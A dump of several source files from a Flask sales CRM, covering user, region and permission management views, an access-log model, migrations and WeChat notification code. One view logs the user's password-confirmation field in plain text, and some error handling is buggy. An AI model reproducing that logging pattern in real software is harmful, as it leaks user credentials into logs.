render_template, request, url_for, session\n\nfrom .. import app, db, cache\nfrom ..models import UserAndSaleArea, User, UserInfo, DepartmentHierarchy, SalesAreaHierarchy, AuthorityOperation, \\\n WebpageDescribe\n\nimport traceback\nimport json\nimport datetime\nfrom .forms import BaseForm, UserForm, UserSearchForm, RegionalSearchForm, BaseCsrfForm, \\\n AuthoritySearchForm\nfrom sqlalchemy import distinct\nfrom flask_login import current_user\n\nPAGINATION_PAGE_NUMBER = 20\n\norganization = Blueprint('organization', __name__, template_folder='templates')\n\n\n# --- user service ---\[email protected]('/user/index')\[email protected]('/user/index/<int:page>')\ndef user_index(page=1):\n form = UserSearchForm(request.args)\n form.reset_select_field()\n if form.user_type.data == \"None\":\n form.user_type.data = \"3\"\n\n us = db.session.query(distinct(User.id)).filter(User.user_or_origin == form.user_type.data)\n if form.email.data:\n us = us.filter(User.email.like(form.email.data + \"%\"))\n if form.name.data:\n us = us.filter(User.nickname.like(\"%\" + form.name.data + \"%\"))\n\n if form.user_type.data == \"3\":\n if form.dept_ranges.data and form.dept_ranges.data != [\"\"]:\n dh_array = [dh_data.id for dh_data in form.dept_ranges.data]\n else:\n dh_array = [dh_data.id for dh_data in form.dept_ranges.query]\n us = us.join(User.departments).filter(DepartmentHierarchy.id.in_(dh_array))\n else:\n if form.sale_range.data and form.sale_range.data != \"\" and form.sale_range.data != \"None\":\n us = us.join(User.sales_areas).filter(SalesAreaHierarchy.id == form.sale_range.data.id)\n\n us = User.query.filter(User.id.in_(us)).order_by(User.id)\n pagination = us.paginate(page, PAGINATION_PAGE_NUMBER, False)\n\n return render_template('organization/user_index.html', user_type=form.user_type.data, user_infos=pagination.items,\n pagination=pagination, form=form)\n\n\[email protected]('/user/new', methods=['GET', 'POST'])\ndef user_new():\n if request.method == 'POST':\n try:\n form = UserForm(request.form, meta={'csrf_context': session})\n form.reset_select_field()\n app.logger.info(\"form: [%s]\" % form.join_dealer.data)\n\n if form.nickname.data == \"\":\n form.nickname.data = form.name.data\n\n if form.validate() is False:\n app.logger.info(\"form valid fail: [%s]\" % form.errors)\n raise ValueError(form.errors)\n\n if User.query.filter_by(email=form.email.data).first():\n raise ValueError(\"邮箱[%s]已被注册,请更换!\" % form.email.data)\n\n ui = UserInfo(name=form.name.data, telephone=form.phone.data, address=form.address.data,\n title=form.title.data)\n\n\n u = User(email=form.email.data, user_or_origin=int(form.user_type.data), nickname=form.nickname.data)\n u.password = form.password.data\n u.user_infos.append(ui)\n\n u.set_join_dealer(str(form.join_dealer.data))\n\n if form.user_type.data == \"3\":\n app.logger.info(\"into 3 : [%s]\" % form.dept_ranges.data)\n for dh_data in form.dept_ranges.data:\n dh = DepartmentHierarchy.query.filter_by(id=dh_data.id).first()\n if dh is None:\n raise ValueError(\"所属部门错误[%s]\" % dh_data.id)\n u.departments.append(dh)\n else:\n app.logger.info(\"into 2 : [%s]\" % form.sale_range.data.id)\n sah = SalesAreaHierarchy.query.filter_by(id=form.sale_range.data.id).first()\n if sah is None:\n raise ValueError(\"销售区域错误[%s]\" % form.sale_range.data.name)\n u.sales_areas.append(sah)\n\n u.save\n\n flash(\"添加 %s,%s 成功\" % (u.email, u.nickname))\n # return render_template('organization/user_new.html', form=form)\n return redirect(url_for('organization.user_index'))\n except Exception as e:\n flash(e)\n app.logger.info(\"organization.user_new exception [%s]\" % (traceback.print_exc()))\n\n return render_template('organization/user_new.html', form=form)\n else:\n form = UserForm(meta={'csrf_context': session})\n form.reset_select_field()\n form.is_anonymous.data = 0\n return render_template('organization/user_new.html', form=form)\n\n\[email protected]('/user/update/<int:user_id>', methods=['GET', 'POST'])\ndef user_update(user_id):\n u = User.query.filter_by(id=user_id).first()\n if u is None:\n flash(\"非法用户id\")\n return redirect(url_for('organization.user_index'))\n auth_msg = current_user.authority_control_to_user(u)\n if auth_msg is not None:\n flash(auth_msg)\n return redirect(url_for('organization.user_index'))\n\n if request.method == 'POST':\n try:\n form = UserForm(request.form, user_type=u.user_or_origin, meta={'csrf_context': session})\n form.reset_select_field()\n\n app.logger.info(\"user_type[%s] , password[%s]\" % (form.user_type.data, form.password_confirm.data))\n if form.nickname.data == \"\":\n form.nickname.data = form.name.data\n\n if form.validate() is False:\n app.logger.info(\"form valid fail: [%s]\" % form.errors)\n raise ValueError(form.errors)\n\n u.email = form.email.data\n u.nickname = form.nickname.data\n\n if len(u.user_infos) == 0:\n ui = UserInfo()\n else:\n ui = u.user_infos[0]\n\n ui.name = form.name.data\n ui.telephone = form.phone.data\n ui.address = form.address.data\n ui.title = form.title.data\n\n u.set_join_dealer(str(form.join_dealer.data))\n\n # 只有 admin 才能修改用户是否禁用\n if current_user.get_max_level_grade() == 1:\n u.set_is_anonymous(str(form.is_anonymous.data))\n\n if len(u.user_infos) == 0:\n u.user_infos.append(ui)\n\n if u.user_or_origin == 3:\n dh_array = [dh_data.id for dh_data in form.dept_ranges.data]\n if sorted([i.id for i in u.departments]) != sorted(dh_array):\n for d in u.departments:\n # 判断是否存在 管理的销售区域,不允许修改掉\n if d.name == \"销售部\" and d not in form.dept_ranges.data:\n if u.sales_areas.first():\n raise ValueError(\"此用户尚有管理的销售地区,请在'组织架构及权限组模块'中先行删除\")\n u.departments.remove(d)\n # for d_id in dh_array:\n # u.departments.append(DepartmentHierarchy.query.filter_by(id=d_id).first())\n u.departments.extend(form.dept_ranges.data)\n cache.delete_memoized(u.is_authorized)\n app.logger.info(\"delete user.is_authorized cache\")\n else:\n if u.sales_areas.count() == 0 or u.sales_areas.first().id != form.sale_range.data.id:\n if not u.sales_areas.count() == 0:\n u.sales_areas.remove(u.sales_areas.first())\n sah = SalesAreaHierarchy.query.filter_by(id=form.sale_range.data.id).first()\n u.sales_areas.append(sah)\n\n u.save\n\n flash(\"修改 %s,%s 成功\" % (u.email, u.nickname))\n # return render_template('organization/user_update.html', form=form, user_id=u.id)\n return redirect(url_for('organization.user_update', user_id=u.id))\n except ValueError as e:\n flash(e)\n return render_template('organization/user_update.html', form=form, user_id=u.id)\n else:\n form = UserForm(obj=u, user_type=u.user_or_origin, meta={'csrf_context': session})\n form.reset_select_field()\n if len(u.user_infos) == 0:\n pass\n else:\n ui = u.user_infos[0]\n form.name.data = ui.name\n form.address.data = ui.address\n form.phone.data = ui.telephone\n form.title.data = ui.title\n\n app.logger.info(\"join_delaer: [%s]\" % form.join_dealer.default)\n if u.sales_areas.first() is not None:\n form.sale_range.default = u.sales_areas.first().id\n if u.departments.first() is not None:\n form.dept_ranges.default = u.departments.all()\n\n if u.is_join_dealer():\n form.join_dealer.data = 1\n else:\n form.join_dealer.data = 0\n\n if u.is_anonymous():\n form.is_anonymous.data = 1\n else:\n form.is_anonymous.data = 0\n\n return render_template('organization/user_update.html', form=form, user_id=u.id)\n\n\[email protected]('/user/get_sale_range_by_parent/<int:level_grade>')\ndef get_sale_range_by_parent(level_grade):\n parent_id = request.args.get('parent_id', '__None')\n if parent_id == \"__None\":\n parent_id = None\n else:\n parent_id = int(parent_id)\n\n sa_array = {}\n for sa in BaseForm.get_sale_range_by_parent(level_grade, parent_id):\n sa_array[sa.id] = sa.name\n json_data = json.dumps(sa_array)\n app.logger.info(\"return from get_sale_range_by_province [%s]\" % json_data)\n\n return json_data\n\n\n# --- regional_and_team service ---\[email protected]('/user/regional_and_team/index')\ndef regional_and_team_index():\n form = RegionalSearchForm(request.args)\n form.reset_select_field()\n\n sah_infos = {}\n app.logger.info(\"regional.data [%s]\" % form.regional.data)\n if not form.regional.data:\n sah_search = form.regional.query\n else:\n sah_search = form.regional.data\n\n for sah in sah_search:\n # 每个区域只有一个总监\n leader_info = UserAndSaleArea.query.filter(UserAndSaleArea.parent_id == None,\n UserAndSaleArea.sales_area_id == sah.id).first()\n if leader_info is None:\n leader = (-1, \"无\")\n else:\n u = User.query.filter(User.id == leader_info.user_id).first()\n leader = (u.id, u.nickname)\n\n sah_infos[sah.id] = {\"regional_name\": sah.name, \"leader_info\": leader,\n \"regional_province_infos\": SalesAreaHierarchy.get_team_info_by_regional(sah.id)}\n\n return render_template('organization/regional_and_team_index.html', form=form, sah_infos=sah_infos)\n\n\[email protected]('/user/regional/manage_leader/<int:sah_id>', methods=['GET', 'POST'])\ndef regional_manage_leader(sah_id):\n sah = SalesAreaHierarchy.query.filter_by(id=sah_id).first()\n if sah is None:\n flash(\"非法区域id[%d]\" % sah_id)\n return redirect(url_for('organization.regional_and_team_index'))\n\n if request.method == 'POST':\n try:\n form = BaseCsrfForm(request.form, meta={'csrf_context': session})\n if form.validate() is False:\n flash(form.errors)\n return redirect(url_for('organization.regional_and_team_index'))\n\n user_id = int(request.form.get(\"user_id\"))\n leader_info = UserAndSaleArea.query.filter_by(sales_area_id=sah.id, parent_id=None).first()\n if leader_info is not None and leader_info.user_id == user_id:\n flash(\"未修改区域负责人请确认\")\n return redirect(url_for('organization.regional_manage_leader', sah_id=sah.id))\n\n # 删除所有销售团队信息\n if leader_info is not None:\n for regional_info in SalesAreaHierarchy.query.filter_by(parent_id=sah.id).all():\n team_info = UserAndSaleArea.query.filter(UserAndSaleArea.parent_id == leader_info.user_id,\n UserAndSaleArea.sales_area_id == regional_info.id).first()\n if team_info is not None:\n db.session.delete(team_info)\n\n db.session.delete(leader_info)\n\n # add data proc\n app.logger.info(\"add new user[%s] proc\" % user_id)\n u_add = User.query.filter_by(id=user_id).first()\n u_add.sales_areas.append(sah)\n db.session.add(u_add)\n\n db.session.commit()\n flash(\"区域[%s] 负责人修改成功\" % sah.name)\n return redirect(url_for('organization.regional_and_team_index'))\n except Exception as e:\n flash(\"区域[%s] 负责人修改失败:[%s]\" % (sah.name, e))\n db.session.rollback()\n return redirect(url_for('organization.regional_manage_leader', sah_id=sah.id))\n else:\n form = BaseCsrfForm(meta={'csrf_context': session})\n us = db.session.query(User).join(User.departments) \\\n .filter(User.user_or_origin == 3) \\\n .filter(DepartmentHierarchy.name == \"销售部\") \\\n .order_by(User.id)\n app.logger.info(\"regional_manage_leader us get count: [%d]\" % (us.count()))\n user_infos = {}\n for u in us.all():\n # 屏蔽 不允许 非负责人\n if u.is_sale_manage() == \"N\":\n continue\n\n choose = 0\n if u.sales_areas.filter(SalesAreaHierarchy.id == sah.id).count() > 0:\n choose = 1\n\n user_infos[u.id] = {\"choose\": choose, \"name\": u.nickname}\n\n sorted_user_infos = sorted(user_infos.items(), key=lambda p: p[1][\"choose\"], reverse=True)\n app.logger.info(\"sorted_user_infos [%s]\" % sorted_user_infos)\n\n return render_template('organization/regional_manage_leader.html', sorted_user_infos=sorted_user_infos,\n sah_id=sah.id,\n regional_province_infos=SalesAreaHierarchy.get_team_info_by_regional(sah.id), form=form)\n\n\[email protected]('/user/regional/manage_team/<int:sah_id>-<int:leader_id>-<int:region_province_id>',\n methods=['GET', 'POST'])\ndef regional_manage_team(sah_id, leader_id, region_province_id):\n app.logger.info(\"regional_manage_team [%d],[%d],[%d]\" % (sah_id, leader_id, region_province_id))\n sah = SalesAreaHierarchy.query.filter_by(id=sah_id).first()\n if sah is None:\n flash(\"非法区域id[%d]\" % sah_id)\n return redirect(url_for('organization.regional_and_team_index'))\n\n leader = User.query.filter_by(id=leader_id).first()\n if leader is None:\n flash(\"非法负责人id[%d]\" % leader_id)\n return redirect(url_for('organization.regional_and_team_index'))\n\n if request.method == 'POST':\n try:\n form = BaseCsrfForm(request.form, meta={'csrf_context': session})\n if form.validate() is False:\n flash(form.errors)\n return redirect(url_for('organization.regional_and_team_index'))\n\n user_id = int(request.form.get(\"user_id\"))\n team_info = UserAndSaleArea.query.filter(UserAndSaleArea.sales_area_id == region_province_id,\n UserAndSaleArea.parent_id != None).first()\n if team_info is not None and team_info.user_id == user_id:\n flash(\"未修改销售团队请确认\")\n return redirect(url_for('organization.regional_manage_team', sah_id=sah.id, leader_id=leader_id,\n region_province_id=region_province_id))\n\n # exists data proc\n if team_info is not None:\n db.session.delete(team_info)\n\n app.logger.info(\"add new user[%s] proc\" % (user_id))\n uasa = UserAndSaleArea(user_id=user_id, sales_area_id=region_province_id, parent_id=leader.id,\n parent_time=datetime.datetime.now())\n db.session.add(uasa)\n\n db.session.commit()\n flash(\"区域[%s] 负责人[%s] 销售团队修改成功\" % (sah.name, leader.nickname))\n return redirect(url_for('organization.regional_and_team_index'))\n except Exception as e:\n flash(\"区域[%s] 负责人[%s] 销售团队修改成功:[%s]\" % (sah.name, leader.nickname, e))\n db.session.rollback()\n return redirect(url_for('organization.regional_manage_team', sah_id=sah.id, leader_id=leader_id,\n region_province_id=region_province_id))\n else:\n form = BaseCsrfForm(meta={'csrf_context': session})\n us = db.session.query(User).join(User.departments) \\\n .filter(User.user_or_origin == 3) \\\n .filter(DepartmentHierarchy.name == \"销售部\") \\\n .order_by(User.id)\n app.logger.info(\"regional_manage_team us get count: [%d]\" % (us.count()))\n user_infos = {}\n for u in us.all():\n # 允许 负责人也管理销售区域\n # 排除 其他区域的负责人\n if u.is_sale_manage() == \"Y\" and not u.is_manage_province(sah_id):\n continue\n\n # 排除其他负责人的团队成员\n uasa = UserAndSaleArea.query.filter(UserAndSaleArea.user_id == u.id,\n UserAndSaleArea.parent_id != leader.id).first()\n if uasa is not None:\n continue\n\n choose = 0\n if u.sales_areas.filter(SalesAreaHierarchy.id == region_province_id).count() > 0:\n choose = 1\n\n user_infos[u.id] = {\"choose\": choose, \"name\": u.nickname}\n\n sorted_user_infos = sorted(user_infos.items(), key=lambda p: p[1][\"choose\"], reverse=True)\n app.logger.info(\"sorted_user_infos [%s]\" % sorted_user_infos)\n\n return render_template('organization/regional_manage_team.html', sorted_user_infos=sorted_user_infos,\n sah_id=sah.id, leader_id=leader.id, region_province_id=region_province_id, form=form)\n\n\[email protected]('/user/regional/manage_province/<int:sah_id>', methods=['GET', 'POST'])\ndef regional_manage_province(sah_id):\n sah = SalesAreaHierarchy.query.filter_by(id=sah_id).first()\n if sah is None:\n flash(\"非法区域id[%d]\" % sah_id)\n return redirect(url_for('organization.regional_and_team_index'))\n\n if request.method == 'POST':\n try:\n form = BaseCsrfForm(request.form, meta={'csrf_context': session})\n if form.validate() is False:\n flash(form.errors)\n return redirect(url_for('organization.regional_and_team_index'))\n\n province_id_array = request.form.getlist(\"province_id\")\n app.logger.info(\"choose province_arrays: [%s]\" % province_id_array)\n delete_exists_count = 0\n # 先对已有记录进行删除\n for exists_province in SalesAreaHierarchy.query.filter_by(parent_id=sah.id).all():\n if exists_province.id in province_id_array:\n app.logger.info(\"has existed province[%s] not proc\" % exists_province.name)\n province_id_array.remove(exists_province.id)\n else:\n app.logger.info(\"delete existed province[%s]\" % exists_province.name)\n # 删除对应销售团队\n uasa = UserAndSaleArea.query.filter_by(sales_area_id=exists_province.id).first()\n if uasa is not None:\n db.session.delete(uasa)\n\n exists_province.parent_id = None\n db.session.add(exists_province)\n delete_exists_count += 1\n\n if delete_exists_count == 0 and len(province_id_array) == 0:\n flash(\"未修改销售(省)请确认\")\n return redirect(url_for('organization.regional_manage_province', sah_id=sah.id))\n\n # 新增记录\n for add_province_id in province_id_array:\n add_province = SalesAreaHierarchy.query.filter_by(id=add_province_id).first()\n if add_province is None:\n raise ValueError(\"no SalesAreaHierarchy found? [%s]\" % add_province_id)\n\n # 删除对应销售团队\n uasa = UserAndSaleArea.query.filter_by(sales_area_id=add_province.id).first()\n if uasa is not None:\n db.session.delete(uasa)\n\n add_province.parent_id = sah.id\n db.session.add(add_province)\n\n db.session.commit()\n flash(\"区域[%s] 区域(省)修改成功\" % sah.name)\n return redirect(url_for('organization.regional_and_team_index'))\n except Exception as e:\n flash(e)\n db.session.rollback()\n return redirect(url_for('organization.regional_manage_province', sah_id=sah.id))\n else:\n form = BaseCsrfForm(meta={'csrf_context': session})\n province_info = {}\n for sah_province in BaseForm().get_sale_range_by_parent(3, None):\n if sah_province.parent_id == sah.id:\n sah_up_name = sah.name\n choose = 1\n else:\n sah_province_up = SalesAreaHierarchy.query.filter_by(id=sah_province.parent_id).first()\n if sah_province_up is None:\n sah_up_name = \"无\"\n else:\n sah_up_name = sah_province_up.name\n choose = 0\n\n province_info[sah_province.id] = {\"name\": sah_province.name, \"up_name\": sah_up_name, \"choose\": choose}\n\n sorted_province_info = sorted(province_info.items(), key=lambda p: p[1][\"choose\"], reverse=True)\n app.logger.info(\"sorted_province_info [%s]\" % sorted_province_info)\n return render_template('organization/regional_manage_province.html', sah_id=sah.id,\n sorted_province_info=sorted_province_info, form=form)\n\n\n# 权限管理\[email protected]('/authority/index', methods=['GET', 'POST'])\ndef authority_index():\n form = AuthoritySearchForm(request.form, meta={'csrf_context': session})\n\n wd_infos = WebpageDescribe.query.filter_by(validate_flag=True)\n if form.web_types.data:\n wd_infos = wd_infos.filter(WebpageDescribe.type.in_(form.web_types.data))\n if form.describe.data:\n wd_infos = wd_infos.filter(WebpageDescribe.describe.ilike('%' + form.describe.data + '%'))\n if form.roles.data and form.roles.data != ['']:\n app.logger.info(\"roles data %s\" % form.roles.data)\n wd_infos = wd_infos.join(AuthorityOperation).filter(AuthorityOperation.role_id.in_(form.roles.data))\n\n wd_infos = wd_infos.order_by(WebpageDescribe.type, WebpageDescribe.describe).all()\n return render_template('organization/authority_index.html', form=form, wd_infos=wd_infos)\n\n\[email protected]('/authority/to_role/<int:webpage_id>', methods=['GET', 'POST'])\ndef authority_to_role(webpage_id):\n form = AuthoritySearchForm(request.form, meta={'csrf_context': session})\n wd = WebpageDescribe.query.filter_by(id=webpage_id).first()\n page_info = (webpage_id, wd.describe)\n\n if request.method == \"POST\":\n try:\n if form.validate() is False:\n flash(form.errors)\n\n app.logger.info(request.form.getlist(\"role_id\"))\n # 处理现有授权\n add_rolelist = [int(role_id) for role_id in request.form.getlist(\"role_id\")]\n for ao in AuthorityOperation.query.filter_by(webpage_id=webpage_id, flag=\"Y\").all():\n if ao.id in add_rolelist:\n add_rolelist.remove(ao.id)\n else:\n ao.flag = \"N\"\n db.session.add(ao)\n\n # 处理需要增加授权的role\n for add_role_id in add_rolelist:\n ao = AuthorityOperation.query.filter_by(webpage_id=webpage_id, role_id=add_role_id).first()\n if ao is not None:\n ao.flag = \"Y\"\n ao.time = datetime.datetime.now()\n else:\n ao = AuthorityOperation(webpage_id=webpage_id, role_id=add_role_id, flag=\"Y\")\n\n db.session.add(ao)\n\n db.session.commit()\n cache.delete_memoized(User.is_authorized)\n flash(\"授权成功\")\n return redirect(url_for('organization.authority_index'))\n except Exception as e:\n db.sesion.rollback()\n flash(\"授权失败: %s\" % e)\n return redirect(url_for('organization.authority_to_role', webpage_id=webpage_id))\n else:\n role_infos = []\n for role_id, role_name in User.get_all_roles():\n ao = AuthorityOperation.query.filter_by(webpage_id=webpage_id, role_id=role_id).first()\n choose = 0\n if ao is not None and ao.flag == \"Y\":\n choose = 1\n role_infos.append((role_id, role_name, choose))\n\n sorted_role_infos = sorted(role_infos, key=lambda p: p[2], reverse=True)\n return render_template('organization/authority_to_role.html', form=form, sorted_role_infos=sorted_role_infos,\n page_info=page_info)\n" }, { "alpha_fraction": 0.6652325987815857, "alphanum_fraction": 0.6749126315116882, "avg_line_length": 28.99193572998047, "blob_id": "59b2ff43816461949ef670a63cb31e6017720561", "content_id": "3eead411d5894ad4884fcd0e9feab11537f58a22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3719, "license_type": "no_license", "max_line_length": 114, "num_lines": 124, "path": "/application/web_access_log/models.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "import datetime\nimport re\nfrom .. import db\n\n# ----- request path classification -----\n# Others\nmodule0_paths = \"\"\"\n/mobile/index\"\"\".split()\n# Product,\nmodule1_paths = \"\"\"\n/mobile/product\n/mobile/product/\\d+\"\"\".split()\n# Storage\nmodule2_paths = \"\"\"\n/mobile/storage\n/mobile/storage_show/\\d+\"\"\".split()\n# Share\nmodule3_paths = \"\"\"\n/mobile/share\n/mobile/share_index/\\d+\n/mobile/share_index_for_order/\\d+\n/mobile/share_storage_for_detail\n/mobile/share_storage_for_region\n/mobile/upload_share_index\n/mobile/new_share_inventory/\\d+\"\"\".split()\n# Case\nmodule4_paths = \"\"\"\n/mobile/case_show\n/mobile/product_cases\n/mobile/product_case/\\d+\n/mobile/case_classification/\\d+\n/mobile/case_content/\\d+\"\"\".split()\n# Project\nmodule5_paths = \"\"\"\n/mobile/project_report/new\n/mobile/project_report/index\n/mobile/project_report/\\d+\"\"\".split()\n# Design\nmodule6_paths = \"\"\"\n/mobile/design\n/mobile/design_applications\n/mobile/design_file/\\d+\"\"\".split()\n# Material\nmodule7_paths = \"\"\"\n/mobile/material_need\n/mobile/material_need_options/\\d+\n/mobile/material_need_contents/\\d+\n/mobile/material_application/new\n/mobile/material_applications\n/mobile/material_application/\\d+\n/mobile/material_application/\\d+/reconfirm_accept\n/mobile/material_application/\\d+/cancel\"\"\".split()\n# Order\nmodule8_paths = \"\"\"\n/mobile/cart\n/mobile/cart_delete/\\d+\n/mobile/create_order\n/mobile/orders\n/mobile/created_orders\n/mobile/contract/\\d+\"\"\".split()\n# Tracking\nmodule9_paths = \"\"\"\n/mobile/tracking\n/mobile/tracking_info/\\d+\"\"\".split()\n# Verification\nmodule10_paths = \"\"\"\n/wechat/mobile/verification\n/wechat/mobile/user_binding\n/wechat/server/authentication\n/mobile/verification/\\d+\"\"\".split()\n# Guide\nmodule11_paths = \"\"\"\n/mobile/construction_guide\n/mobile/construction_guide_options/\\d+\n/mobile/construction_guide_contents/\\d+\"\"\".split()\n# After\nmodule12_paths = \"\"\"\n/mobile/after_service\"\"\".split()\n\nweb_access_log_white_list = []\nfor seq in range(1, 13):\n if locals().get('module%d_paths' % seq):\n web_access_log_white_list += locals().get('module%d_paths' % seq)\nweb_access_log_white_list = set(web_access_log_white_list)\n\n\ndef can_take_record(request_path):\n for valid_path in web_access_log_white_list:\n regex = '\\A%s\\Z' % valid_path\n if re.match(regex, request_path):\n return True\n return False\n\n\nclass WebAccessLog(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n request_path = db.Column(db.String(200))\n user_id = db.Column(db.Integer)\n remote_addr = db.Column(db.String(15))\n user_agent = db.Column(db.String(500))\n platform = db.Column(db.String(20))\n browser = db.Column(db.String(20))\n version = db.Column(db.String(20))\n language = db.Column(db.String(20))\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n\n def __repr__(self):\n return \"\"\"\n WebAccessLog(id: {id}, request_path: {request_path}, user_id: {user_id}, remote_addr: {remote_addr},\n user_agent: {user_agent})\n \"\"\".format(id=self.id, request_path=self.request_path, user_id=self.user_id, remote_addr=self.remote_addr,\n user_agent=self.user_agent)\n\n @classmethod\n def take_record(cls, request, current_user):\n return cls(request_path=request.path,\n user_id=current_user.id,\n remote_addr=request.access_route[0],\n user_agent=request.user_agent.string,\n platform=request.user_agent.platform,\n browser=request.user_agent.browser,\n version=request.user_agent.version,\n language=request.user_agent.language)\n" }, { "alpha_fraction": 0.6196808218955994, "alphanum_fraction": 0.7047872543334961, "avg_line_length": 14.666666984558105, "blob_id": "75640e0fc37684bd3455e85c120ab1c9b5be8cd4", "content_id": "ddf22e8f898ac838432bd5c6831f623f80d669d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 376, "license_type": "no_license", "max_line_length": 46, "num_lines": 24, "path": "/migrations/versions/2d1bf125618d_merge_migration_conflict.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"merge migration conflict\n\nRevision ID: 2d1bf125618d\nRevises: 2ac2afb55e48, fc7fc4b255d1\nCreate Date: 2017-05-02 11:20:39.332592\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '2d1bf125618d'\ndown_revision = ('2ac2afb55e48', 'fc7fc4b255d1')\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n pass\n\n\ndef downgrade():\n pass\n" }, { "alpha_fraction": 0.48077356815338135, "alphanum_fraction": 0.49201709032058716, "avg_line_length": 49.53409194946289, "blob_id": "9993f3d152c54ce735af555bde0f645887e3bf18", "content_id": "281903d3f03f54af07ad24957027eb544ca6c6b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4537, "license_type": "no_license", "max_line_length": 114, "num_lines": 88, "path": "/application/design_application/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom flask import Blueprint, flash, g, redirect, render_template, request, url_for, send_file\nfrom flask_login import current_user\nfrom flask.helpers import make_response\nfrom .. import app, cache\nfrom ..helpers import object_list, save_upload_file, delete_file\nfrom ..models import DesignApplication, ProjectReport\nfrom .forms import DesignApplicationForm\nfrom ..wechat.models import WechatCall\n\ndesign_application = Blueprint('design_application', __name__, template_folder='templates')\n\n\n@design_application.route('/index')\ndef index():\n applications = DesignApplication.query.all()\n return render_template('design_application/index.html', applications=applications)\n\n\n@design_application.route('/<int:id>/edit', methods=['GET', 'POST'])\ndef edit(id):\n application = DesignApplication.query.get_or_404(id)\n project_report = ProjectReport.query.filter_by(report_no=application.filing_no).first()\n if request.method == 'POST':\n form = DesignApplicationForm(request.form)\n form.populate_obj(application)\n if request.form.get('status') == '申请通过':\n if request.files.get('dl_file'):\n file_path = save_upload_file(request.files.get('dl_file'))\n if file_path:\n if application.dl_file:\n delete_file(application.dl_file)\n application.dl_file = file_path\n else:\n flash('%s文件格式不合法' % str(request.files.get('dl_file').filename), 'danger')\n return redirect(url_for('design_application.index'))\n flash('申请通过 %s' % str(request.files.get('dl_file').filename), 'success')\n elif request.form.get('status') == '申请不通过':\n flash('申请不通过', 'warning')\n application.save\n cache.delete_memoized(current_user.get_new_design_application_num)\n WechatCall.send_template_to_user(str(application.applicant_id),\n \"lW5jdqbUIcAwTF5IVy8iBzZM-TXMn1hVf9qWOtKZWb0\",\n {\n \"first\": {\n \"value\": \"您的产品设计申请状态已更改\",\n \"color\": \"#173177\"\n },\n \"keyword1\": {\n \"value\": application.filing_no,\n \"color\": \"#173177\"\n },\n \"keyword2\": {\n \"value\": application.status,\n \"color\": \"#173177\"\n },\n \"keyword3\": {\n \"value\": '',\n \"color\": \"#173177\"\n },\n \"remark\": {\n \"value\": \"感谢您的使用!\",\n \"color\": \"#173177\"\n },\n },\n url_for('mobile_design_file', id=application.id)\n )\n return redirect(url_for('design_application.index'))\n else:\n form = DesignApplicationForm(obj=application)\n return render_template('design_application/edit.html', application=application, project_report=project_report,\n form=form)\n\n\n@design_application.route('/<int:id>/dl_file')\ndef dl_file(id):\n application = DesignApplication.query.get_or_404(id)\n response = make_response(send_file(app.config['APPLICATION_DIR'] + application.dl_file))\n response.headers['Content-Disposition'] = 'attachment; filename = %s' % application.dl_file.rsplit('/', 1)[1]\n return response\n\n\n@design_application.route('/<int:id>/ul_file')\ndef ul_file(id):\n application = DesignApplication.query.get_or_404(id)\n response = make_response(send_file(app.config['APPLICATION_DIR'] + application.ul_file))\n response.headers['Content-Disposition'] = 'attachment; filename = %s' % application.ul_file.rsplit('/', 1)[1]\n return response\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.648841381072998, "avg_line_length": 27, "blob_id": "1f00c228b09e906d46d5f23c8f48780d7eecac6d", "content_id": "0f4b19b684d983d04463102d9a210665f79f1cd9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 599, "license_type": "permissive", "max_line_length": 71, "num_lines": 20, "path": "/application/static/javascripts/wechat_general.js", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\n$(function(){\n\t$(\"#scanQRCode\").click(function(){\n\t\twx.scanQRCode({\n\t\t\tneedResult: 1,\n\t\t\tdesc: 'scanQRCode desc',\n\t\t\tsuccess: function (res) {\n\t\t\t\tdocument.getElementById(\"text-verification\").value=res['resultStr']\n\t\t\t\tdocument.getElementById(\"btn-verification\").disabled=false\n\t\t\t},\n\t\t\tfail: function(res) {\n\t\t\t\talert(\"错误:\"+res['errMsg']+\"!!\\n请重试或使用公众号中的校验真伪按钮\")\n\t\t\t}\n\t\t});\n\t});\n\t\n\t// $(\"#btn-verification\").click(function(){\n\t// \tdocument.getElementById(\"text-verification\").value=''\n\t// \tdocument.getElementById(\"btn-verification\").disabled=true\n\t// });\n})\n" }, { "alpha_fraction": 0.6384180784225464, "alphanum_fraction": 0.6850282549858093, "avg_line_length": 24.285715103149414, "blob_id": "8684fcc08f758a9109dfa4a143d852c4d3cc805c", "content_id": "63f15759cb0f4003e884691d2e3dccb24c828be5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 708, "license_type": "no_license", "max_line_length": 104, "num_lines": 28, "path": "/migrations/versions/ef83fe89b1ed_add_dl_file_memo_to_design_application.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add_dl_file_memo_to_design_application\n\nRevision ID: ef83fe89b1ed\nRevises: 31300aea2b2b\nCreate Date: 2017-04-20 17:11:48.703407\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ef83fe89b1ed'\ndown_revision = '31300aea2b2b'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('design_application', sa.Column('dl_file_memo', sa.String(length=500), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('design_application', 'dl_file_memo')\n # ### end Alembic commands ###\n" }, { 